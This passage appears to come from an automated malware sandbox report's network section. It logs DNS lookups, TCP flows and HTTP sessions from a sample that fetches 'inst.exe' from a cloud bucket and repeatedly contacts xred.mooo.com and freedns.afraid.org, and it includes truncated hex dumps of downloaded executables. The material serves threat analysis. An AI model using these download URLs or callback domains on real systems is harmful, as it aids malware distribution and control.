Dec 30, 2024 05:01:39.344571114 CET	10004	80	192.168.2.4	1.192.136.133
Dec 30, 2024 05:01:41.425254107 CET	10004	80	192.168.2.4	1.192.136.134
Dec 30, 2024 05:01:44.047807932 CET	10004	80	192.168.2.4	1.192.136.135
Dec 30, 2024 05:01:44.371907949 CET	80	10004	1.192.136.135	192.168.2.4
Dec 30, 2024 05:02:56.344826937 CET	10004	80	192.168.2.4	1.192.136.132
Dec 30, 2024 05:02:56.677130938 CET	80	10004	1.192.136.132	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 04:59:01.780667067 CET	192.168.2.4	1.1.1.1	0x4679	Standard query (0)	bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:07.037955999 CET	192.168.2.4	1.1.1.1	0xd19d	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:07.911679983 CET	192.168.2.4	1.1.1.1	0xfec8	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:08.041115046 CET	192.168.2.4	1.1.1.1	0xda62	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:08.135755062 CET	192.168.2.4	1.1.1.1	0x4f59	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:12.693552017 CET	192.168.2.4	1.1.1.1	0xbdcc	Standard query (0)	s.360.cn	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.233557940 CET	192.168.2.4	1.1.1.1	0xe790	Standard query (0)	st.p.360.cn	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.331015110 CET	192.168.2.4	1.1.1.1	0x1ec7	Standard query (0)	tr.p.360.cn	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.332196951 CET	192.168.2.4	1.1.1.1	0x38e4	Standard query (0)	agt.p.360.cn	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:14.349760056 CET	192.168.2.4	1.1.1.1	0x1eb4	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:17.651715994 CET	192.168.2.4	1.1.1.1	0xc5dc	Standard query (0)	agd.p.360.cn	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:17.653306961 CET	192.168.2.4	1.1.1.1	0xb804	Standard query (0)	pinst.360.cn	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:18.876960993 CET	192.168.2.4	1.1.1.1	0xeef2	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:24.563920975 CET	192.168.2.4	1.1.1.1	0x4113	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:31.360856056 CET	192.168.2.4	1.1.1.1	0x4b05	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:35.892323971 CET	192.168.2.4	1.1.1.1	0xef30	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:41.564086914 CET	192.168.2.4	1.1.1.1	0x69b7	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:48.361255884 CET	192.168.2.4	1.1.1.1	0x99f3	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:52.942694902 CET	192.168.2.4	1.1.1.1	0x11e0	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 05:00:06.395620108 CET	192.168.2.4	1.1.1.1	0x5764	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 04:59:01.970598936 CET	1.1.1.1	192.168.2.4	0x4679	No error (0)	bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com		47.79.48.211	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:07.044559956 CET	1.1.1.1	192.168.2.4	0xd19d	No error (0)	docs.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:08.038033962 CET	1.1.1.1	192.168.2.4	0xfec8	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:08.050077915 CET	1.1.1.1	192.168.2.4	0xda62	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:08.142846107 CET	1.1.1.1	192.168.2.4	0x4f59	No error (0)	drive.usercontent.google.com		142.250.186.129	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:12.700465918 CET	1.1.1.1	192.168.2.4	0xbdcc	No error (0)	s.360.cn		180.163.251.230	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:12.700465918 CET	1.1.1.1	192.168.2.4	0xbdcc	No error (0)	s.360.cn		180.163.251.231	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:12.700465918 CET	1.1.1.1	192.168.2.4	0xbdcc	No error (0)	s.360.cn		101.198.2.147	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:12.700465918 CET	1.1.1.1	192.168.2.4	0xbdcc	No error (0)	s.360.cn		171.8.167.89	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.240827084 CET	1.1.1.1	192.168.2.4	0xe790	No error (0)	st.p.360.cn		1.192.136.170	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.338097095 CET	1.1.1.1	192.168.2.4	0x1ec7	No error (0)	tr.p.360.cn		1.192.136.132	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.338097095 CET	1.1.1.1	192.168.2.4	0x1ec7	No error (0)	tr.p.360.cn		1.192.136.135	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.338097095 CET	1.1.1.1	192.168.2.4	0x1ec7	No error (0)	tr.p.360.cn		1.192.136.134	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.338097095 CET	1.1.1.1	192.168.2.4	0x1ec7	No error (0)	tr.p.360.cn		1.192.136.133	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.545320034 CET	1.1.1.1	192.168.2.4	0x38e4	No error (0)	agt.p.360.cn		1.192.136.132	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:13.545320034 CET	1.1.1.1	192.168.2.4	0x38e4	No error (0)	agt.p.360.cn		1.192.136.133	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:14.357651949 CET	1.1.1.1	192.168.2.4	0x1eb4	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:17.958836079 CET	1.1.1.1	192.168.2.4	0xc5dc	No error (0)	agd.p.360.cn	agd2.p.360.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 30, 2024 04:59:17.958836079 CET	1.1.1.1	192.168.2.4	0xc5dc	No error (0)	agd2.p.360.cn		1.192.194.215	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:17.958836079 CET	1.1.1.1	192.168.2.4	0xc5dc	No error (0)	agd2.p.360.cn		1.192.194.232	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:18.351447105 CET	1.1.1.1	192.168.2.4	0xb804	No error (0)	pinst.360.cn	softm.update.360safe.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 30, 2024 04:59:18.351447105 CET	1.1.1.1	192.168.2.4	0xb804	No error (0)	softm.update.360safe.com	seupdate.360qhcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 30, 2024 04:59:18.351447105 CET	1.1.1.1	192.168.2.4	0xb804	No error (0)	seupdate.360qhcdn.com		39.156.85.231	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:18.351447105 CET	1.1.1.1	192.168.2.4	0xb804	No error (0)	seupdate.360qhcdn.com		39.156.85.200	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:18.351447105 CET	1.1.1.1	192.168.2.4	0xb804	No error (0)	seupdate.360qhcdn.com		39.156.85.201	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:18.883945942 CET	1.1.1.1	192.168.2.4	0xeef2	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:24.571327925 CET	1.1.1.1	192.168.2.4	0x4113	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:31.367862940 CET	1.1.1.1	192.168.2.4	0x4b05	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:35.899194956 CET	1.1.1.1	192.168.2.4	0xef30	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:41.570924044 CET	1.1.1.1	192.168.2.4	0x69b7	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:48.368267059 CET	1.1.1.1	192.168.2.4	0x99f3	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:52.950088978 CET	1.1.1.1	192.168.2.4	0x11e0	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 30, 2024 04:59:57.045190096 CET	1.1.1.1	192.168.2.4	0xf509	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 30, 2024 04:59:57.045190096 CET	1.1.1.1	192.168.2.4	0xf509	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 30, 2024 05:00:06.404266119 CET	1.1.1.1	192.168.2.4	0x5764	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com

docs.google.com

drive.usercontent.google.com

freedns.afraid.org

s.360.cn

pinst.360.cn

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	69.42.215.252	80	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 04:59:08.055944920 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Dec 30, 2024 04:59:08.668195009 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Dec 2024 03:59:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49774	180.163.251.230	80	7448	C:\Users\user\Downloads\inst.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 04:59:12.712706089 CET	398	OUT	GET /safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 30, 2024 04:59:13.583138943 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:13 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:48 GMT Connection: keep-alive ETag: "5b5ac5b4-0" Accept-Ranges: bytes
Dec 30, 2024 04:59:14.377734900 CET	428	OUT	GET /safe/instcomp.htm?soft=1000&status=127&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&parent=Non-existent%20Process&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 30, 2024 04:59:14.685301065 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:14 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:48 GMT Connection: keep-alive ETag: "5b5ac5b4-0" Accept-Ranges: bytes
Dec 30, 2024 04:59:15.686605930 CET	384	OUT	GET /safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 30, 2024 04:59:15.994678974 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:15 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:48 GMT Connection: keep-alive ETag: "5b5ac5b4-0" Accept-Ranges: bytes
Dec 30, 2024 04:59:15.998871088 CET	385	OUT	GET /safe/instcomp.htm?soft=1000&status=12&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 30, 2024 04:59:16.307586908 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:16 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:48 GMT Connection: keep-alive ETag: "5b5ac5b4-0" Accept-Ranges: bytes
Dec 30, 2024 04:59:17.653928995 CET	384	OUT	GET /safe/instcomp.htm?soft=1000&status=8&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 30, 2024 04:59:17.961636066 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:17 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:48 GMT Connection: keep-alive ETag: "5b5ac5b4-0" Accept-Ranges: bytes
Dec 30, 2024 04:59:19.988972902 CET	385	OUT	GET /safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 30, 2024 04:59:20.296650887 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:20 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:48 GMT Connection: keep-alive ETag: "5b5ac5b4-0" Accept-Ranges: bytes
Dec 30, 2024 04:59:20.441509008 CET	239	OUT	GET /safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=2282&downrate=0&downlen=0 HTTP/1.1 Host: s.360.cn Connection: Keep-Alive Cache-Control: no-cache
Dec 30, 2024 04:59:20.750931978 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:20 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:48 GMT Connection: keep-alive ETag: "5b5ac5b4-0" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49793	180.163.251.230	80	7448	C:\Users\user\Downloads\inst.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 04:59:15.693264961 CET	398	OUT	GET /safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 30, 2024 04:59:16.551422119 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:16 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:43 GMT Connection: keep-alive ETag: "5b5ac5af-0" Accept-Ranges: bytes
Dec 30, 2024 04:59:17.104778051 CET	235	OUT	GET /safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=0&downrate=0&downlen=0 HTTP/1.1 Host: s.360.cn Connection: Keep-Alive Cache-Control: no-cache
Dec 30, 2024 04:59:17.408907890 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:17 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:43 GMT Connection: keep-alive ETag: "5b5ac5af-0" Accept-Ranges: bytes
Dec 30, 2024 04:59:17.648430109 CET	398	OUT	GET /safe/instcomp.htm?soft=1000&status=107&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 30, 2024 04:59:17.952276945 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:17 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:43 GMT Connection: keep-alive ETag: "5b5ac5af-0" Accept-Ranges: bytes
Dec 30, 2024 04:59:20.185545921 CET	398	OUT	GET /safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s.360.cn Connection: Keep-Alive
Dec 30, 2024 04:59:20.489299059 CET	240	IN	HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon, 30 Dec 2024 03:59:20 GMT Content-Type: text/html Content-Length: 0 Last-Modified: Fri, 27 Jul 2018 07:11:43 GMT Connection: keep-alive ETag: "5b5ac5af-0" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49805	39.156.85.231	80	7448	C:\Users\user\Downloads\inst.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 04:59:18.387465000 CET	202	OUT	GET /360safe/h_inst.cab?rd=34183220 HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Host: pinst.360.cn Connection: Close Cache-Control: no-cache
Dec 30, 2024 04:59:19.292742968 CET	867	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Dec 2024 03:59:19 GMT Content-Type: application/octet-stream Content-Length: 648 Last-Modified: Fri, 27 Dec 2024 02:49:36 GMT Connection: close Accept-Ranges: bytes Data Raw: 4d 53 43 46 00 00 00 00 88 02 00 00 00 00 00 00 2c 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00 00 00 00 00 46 00 00 00 01 00 01 00 56 03 00 00 00 00 00 00 00 00 9b 59 76 54 20 00 73 65 74 75 70 2e 69 6e 69 00 9c 0c 0f 43 3a 02 56 03 43 4b 65 51 cb 8a 13 41 14 dd 37 f4 3f f8 01 92 dc ba f5 16 6a 51 4f 08 a8 0c 33 8c 9b 41 42 27 69 33 c1 4e 3a 74 f7 30 2e f2 47 6e 44 c1 95 a0 4b 15 11 bf c5 bd 60 f5 30 19 67 b0 0b 8a 7b aa cf bd 55 e7 9c 0b 2a 60 b6 eb 87 aa 69 ea ee 65 59 9c 35 9b 55 7d 76 d9 5e 9f d6 7d 7b d5 2d eb f3 d3 a7 e6 72 18 f6 4f a6 d3 55 7b bd 9b 64 7e 5f bd aa 27 cb 76 3b bd ad a7 fd d8 d4 e7 a6 f9 ae be 9e 2c ab 45 59 a4 ae dd 9a cb f9 26 8f 2e 8b 93 ae 5d 5d 2d 07 93 f9 67 99 5f 16 65 71 71 5b e7 2b 9f 57 db 7a fc f5 ee fd d7 b7 3f bf 7c ff 9c f9 9b d5 5d 6f 9a 05 d3 d7 c3 d5 7e 4e e8 04 f2 42 00 f5 ba 2c 5e d4 5d bf 69 77 e6 df a9 2e 8b d3 7a 7d 7b 9e 36 cd cd d0 0c 27 ab a6 29 8b 59 ef ea a1 32 50 16 e7 5d d3 9b fd 28 26 6b 5a a0 21 00 80 32 6f 87 3d 1a 07 96 20 07 e9 79 92 c9 21 06 [TRUNCATED] Data Ascii: MSCF,FVYvT setup.iniC:VCKeQA7?jQO3AB'i3N:t0.GnDK`0g{U`ieY5U}v^}{-rOU{d~_'v;,EY&.]]-g_eqq[+Wz?\|]o~NB,^]iw.z}{6')Y2P](&kZ!2o= y!ItPHTLK]<E\|?>BgoMud1B#P'3NG]y4gj}c9wGAz8F/s:4U\Z1{O"Io(0P:BJ<::x$*#NF<F`ErL 9KS r5-b"h~[1dIaiasAzWY-Hq<`0@J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49806	39.156.85.200	80	7448	C:\Users\user\Downloads\inst.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 04:59:19.331927061 CET	202	OUT	GET /360safe/h_inst.cab?rd=34183220 HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Host: pinst.360.cn Connection: Close Cache-Control: no-cache
Dec 30, 2024 04:59:19.660701036 CET	228	IN	HTTP/1.1 200 OK Server: nginx/1.2.6.10 Date: Mon, 30 Dec 2024 03:59:19 GMT Content-Type: application/octet-stream Content-Length: 648 Last-Modified: Fri, 27 Dec 2024 02:49:32 GMT Connection: close Accept-Ranges: bytes
Dec 30, 2024 04:59:19.660826921 CET	648	IN	Data Raw: 4d 53 43 46 00 00 00 00 88 02 00 00 00 00 00 00 2c 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00 00 00 00 00 46 00 00 00 01 00 01 00 56 03 00 00 00 00 00 00 00 00 9b 59 76 54 20 00 73 65 74 75 70 2e 69 6e 69 00 9c 0c 0f 43 3a 02 56 03 43 4b 65 51 Data Ascii: MSCF,FVYvT setup.iniC:VCKeQA7?jQO3AB'i3N:t0.GnDK`0g{U*`ieY5U}v^}{-rOU{d~_'v;,EY&.]]-g_eqq[+W

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	47.79.48.211	443	3624	C:\Users\user\Desktop\._cache_zhuzhu.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:03 UTC	132	OUT	GET /inst.exe HTTP/1.1 User-Agent: URLDownloader Host: bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com Cache-Control: no-cache
2024-12-30 03:59:03 UTC	563	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Mon, 30 Dec 2024 03:59:03 GMT Content-Type: application/octet-stream Content-Length: 4118496 Connection: close x-oss-request-id: 67721A877CC7753934B1EB98 Accept-Ranges: bytes ETag: "AAA0F14BDFE3777EEE342C27DE409E6D" Last-Modified: Sat, 28 Dec 2024 06:31:15 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 13828654626470641508 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: qqDxS9/jd37uNCwn3kCebQ== x-oss-server-time: 34
2024-12-30 03:59:03 UTC	15821	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 21 c5 b9 d1 65 a4 d7 82 65 a4 d7 82 65 a4 d7 82 d8 eb 41 82 61 a4 d7 82 6c dc 42 82 79 a4 d7 82 42 62 b9 82 64 a4 d7 82 6c dc 5e 82 73 a4 d7 82 7b f6 53 82 61 a4 d7 82 42 62 ba 82 66 a4 d7 82 42 62 ac 82 40 a4 d7 82 65 a4 d6 82 b7 a5 d7 82 6c dc 54 82 d2 a4 d7 82 6c dc 53 82 ca a4 d7 82 7b f6 43 82 64 a4 d7 82 6c dc 46 82 64 a4 d7 82 52 69 63 68 65 a4 d7 82 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!eeeAalByBbdl^s{SaBbfBb@elTlS{CdlFdRiche
2024-12-30 03:59:04 UTC	16384	IN	Data Raw: c8 75 08 c7 44 24 10 fe ff 00 00 0f b7 74 24 10 8d 34 b6 03 f6 03 f6 03 f6 8b c6 e8 23 f3 ff ff 89 44 24 18 85 c0 75 19 68 68 cc 4c 00 50 50 ba 68 cc 4c 00 e8 4a 37 00 00 83 c4 0c e9 62 01 00 00 85 f6 74 24 8b 4c 24 34 8b 54 24 30 56 50 51 52 8d 7c 24 48 e8 e9 f9 ff ff 83 c4 10 85 c0 0f 84 3e 01 00 00 8b 44 24 18 01 b5 b0 00 00 00 83 7c 24 14 00 8b 74 24 10 74 2b 33 ff 33 d2 8b c8 66 3b fe 73 20 81 39 49 4e 49 54 75 06 80 79 04 00 74 0b 42 83 c1 28 66 3b d6 72 e9 eb 07 c6 85 9e 00 00 00 01 8b 4c 24 24 8b 54 24 20 51 e8 d0 01 00 00 8b f0 83 c4 04 89 74 24 20 85 f6 0f 84 c3 00 00 00 6a 0a 56 8d 44 24 40 e8 03 01 00 00 83 c4 08 85 c0 0f 84 ac 00 00 00 8b 40 04 85 c0 0f 89 a1 00 00 00 25 ff ff ff 7f 03 c6 68 60 03 00 00 50 8d 44 24 40 e8 d7 00 00 00 83 c4 08 Data Ascii: uD$t$4#D$uhhLPPhLJ7bt$L$4T$0VPQR\|$H>D$\|$t$t+33f;s 9INITuytB(f;rL$$T$ Qt$ jVD$@@%h`PD$@
